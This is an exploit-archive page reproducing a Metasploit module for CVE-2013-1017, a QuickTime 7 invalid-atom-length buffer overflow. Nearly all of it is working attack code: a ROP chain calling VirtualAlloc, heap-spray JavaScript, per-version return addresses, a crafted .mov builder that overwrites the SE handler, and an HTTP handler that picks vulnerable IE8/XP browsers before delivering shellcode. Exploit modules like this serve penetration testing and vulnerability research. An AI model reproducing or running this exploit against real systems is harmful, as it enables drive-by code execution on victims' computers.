Apple Quicktime 7 Invalid Atom Length Buffer Overflow



EKU-ID: 3374 CVE: 2013-1017 OSVDB-ID:
Author: sinn3r Published: 2013-07-19 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
			'Description'    => %q{
				This module exploits a vulnerability found in Apple Quicktime. The flaw is
				triggered when Quicktime fails to properly handle the data length for certain
				atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
				overflow by loading a specially crafted .mov file, and allows arbitrary
				code execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
					'Tom Gallagher', # Original Discovery (overlapped)
					'Paul Bates',    # Original Discovery (overlapped)
					'sinn3r'         # Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2013-1017' ],
					[ 'BID', '60097' ],
					[ 'URL', 'http://support.apple.com/kb/HT5770' ]
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					# All of the following addresses are from Quicktime.qts
					# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
					[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
					[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
					[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
					[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00"  # js_property_spray no like nilz
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Privileged'     => false,
			'DisclosureDate' => "May 22 2013"
		))
	end

	def get_payload(t)
		p    = ''

		rop =
		[
			0x77c1e844, # POP EBP # RETN [msvcrt.dll]
			0x77c1e844, # skip 4 bytes [msvcrt.dll]
			0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
			0xffffffff,
			0x77c127e5, # INC EBX # RETN [msvcrt.dll]
			0x77c127e5, # INC EBX # RETN [msvcrt.dll]
			0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
			0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
			0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
			0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
			0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
			0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
			0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
			0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
			0x77c3048a, # POP EDI # RETN [msvcrt.dll]
			0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
			0x77c46efb, # POP ESI # RETN [msvcrt.dll]
			0x77c2aacc, # JMP [EAX] [msvcrt.dll]
			0x77c3b860, # POP EAX # RETN [msvcrt.dll]
			0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
			0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
			0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
		].pack("V*")

		p << rop
		p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
		p << payload.encoded

		p
	end


	def targetable?(agent)
		if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
			return true
		elsif agent =~ /contype/
			# contype: a mov file request from Apple Quicktime
			return true
		end

		false
	end


	def get_html(t)
		js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
		fake_mov_name = rand_text_alpha(4) + ".mov"
		html = %Q|
		<html>
		<head>
		<script>
		#{js_property_spray}

		var s = unescape("#{js_p}");
		sprayHeap({shellcode:s});
		</script>
		</head>
		<body>
		<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
		</body>
		</html>
		|

		html.gsub(/^\t\t/, '')
	end


	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		print_status("Requesting: #{request.uri}")

		unless targetable?(agent)
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		print_status("Target selected as: #{target.name}") if target

		if request.uri =~ /\.mov$/
			print_status("Sending specially crafted .mov file")
			send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
		else
			html = get_html(target)
			send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
		end
	end

	def sort_bytes(data)
		data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
	end

	def rop_nop(t)
		[t['Nop']].pack('V*')                    # Ret (QuickTime.qts)
	end

	def exploit
		buf = ''
		buf << rand_text_alpha(467)              # 467 to align the pivot
		10.times {
			buf << rop_nop(target)
		}
		buf << [
			target['Pop'],                       # POP ESP; RET (QuickTime.qts)
			0x20302020                           # Target value for ESP (our ROP payload)
		].pack('V*')
		buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
		buf << sort_bytes([target.ret])          # ADD ESP,280; RET (QuickTime.qts) - pivot
		buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size

		# Quicktime File Format Specifications:
		# https://developer.apple.com/standards/qtff-2001.pdf
		mov  = "\x00\x00\x06\xDF"                # File size
		mov << "moov"                            # Movie atom
		mov << "\x00\x00\x06\xD7"                # size (1751d)
		mov << "rmra"                            # Reference Movie atom
		mov << "\x00\x00\x06\xCF"                # size (1743d)
		mov << "rmda"                            # rmda atom
		mov << "\x00\x00\x06\xBF"                # size (1727d)
		mov << "rdrf"                            # Data reference atom
		mov << "\x00\x00\x00\x00"                # size set to 0
		mov << "alis"                            # Data reference type: FS alias record
		mov << "\x00\x00\x06\xAA"                # Size (1706d)
		mov << rand_text_alpha(8)
		mov << "\x00\x00\x06\x61"                # Size (1633d)
		mov << rand_text_alpha(38)
		mov << "\x12"
		mov << rand_text_alpha(81)
		mov << "\xFF\xFF"
		mov << rand_text_alpha(18)
		mov << "\x00\x08"                        # Size (8d)
		mov << rand_text_alpha(8)
		mov << "\x00\x00"
		mov << "\x00\x08"                        # Size (8d)
		mov << rand_text_alpha(8)
		mov << "\x00\x00"
		mov << "\x00\x26"                        # Size (38d)
		mov << rand_text_alpha(38)
		mov << "\x00\x0F\x00\x0E"
		mov << "AA"                              # Size (must be invalid)
		mov << rand_text_alpha(12)
		mov << "\x00\x12\x00\x21"
		mov << rand_text_alpha(36)
		mov << "\x00"
		mov << "\x0F\x33"
		mov << rand_text_alpha(17)
		mov << "\x02\xF4"                        # Size (756h)
		mov << rand_text_alpha(756)
		mov << "\xFF\xFF\x00\x00\x00"
		mov << buf

		@exploit = mov
		super
	end
end